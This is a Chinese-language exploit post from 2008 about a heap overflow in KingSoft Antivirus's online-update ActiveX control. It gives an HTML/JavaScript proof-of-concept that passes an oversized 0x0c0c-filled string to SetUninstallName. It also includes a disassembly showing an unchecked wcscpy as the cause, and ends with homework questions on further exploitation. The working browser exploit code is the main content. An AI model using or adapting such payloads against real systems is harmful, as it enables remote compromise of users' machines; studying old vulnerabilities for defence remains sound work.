KingSoft UpdateOcx2.KUpdateObj2.1 SetUninstallName() Heap Overflow Exploit
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Author: void[at]ph4nt0m[dot]org
Blog: http://hi.baidu.com/54nop
Date: 2008-02-29
文件路径: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
文件描述: Kingsoft Antivirus Online Update Module
文件版本: 2007,12,29,29
金山在线杀毒,百度安全中心在线杀毒,雅虎助手等使用的在线杀毒引擎均受影响.
PoC代码:
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<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 += unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>
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分析:
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
.text:1000737B SetUninstallName proc near ; DATA XREF: .rdata:1003186C o
.text:1000737B ; .rdata:10031A64 o
.text:1000737B
.text:1000737B this_ptr = dword ptr 4
.text:1000737B bsUninstallName = dword ptr 8
.text:1000737B
.text:1000737B mov eax, [esp+this_ptr]
.text:1000737F push [esp+bsUninstallName]
.text:10007383 add eax, 20h
.text:10007386 mov ecx, [eax]
.text:10007388 push eax
.text:10007389 call dword ptr [ecx+20h] ; 此处跟进 10012278
.text:1000738C xor eax, eax
.text:1000738E retn 8
.text:1000738E SetUninstallName endp
.text:10012278 ; =============== S U B R O U T I N E =======================================
.text:10012278
.text:10012278
.text:10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
.text:10012278 Vul_Func proc near ; DATA XREF: .rdata:10032D3C o
.text:10012278
.text:10012278 arg_0 = dword ptr 4
.text:10012278 Source = dword ptr 8
.text:10012278
.text:10012278 cmp [esp+Source], 0
.text:1001227D jz short loc_10012294
.text:1001227F mov eax, [esp+arg_0]
.text:10012283 push [esp+Source] ; Source
.text:10012287 add eax, 0D70h
.text:1001228C push eax ; Dest
.text:1001228D call _wcscpy ; 没有检查用户输入的长度就,造成heap overlfow
.text:10012292 pop ecx
.text:10012293 pop ecx
.text:10012294
.text:10012294 loc_10012294: ; CODE XREF: Vul_Func+5 j
.text:10012294 xor eax, eax
.text:10012296 retn 8
.text:10012296 Vul_Func endp
.text:10012296
课后习题:
1. 为什么要target2?
2. 该控件有没有其他利用途径?
答案下周六公布.
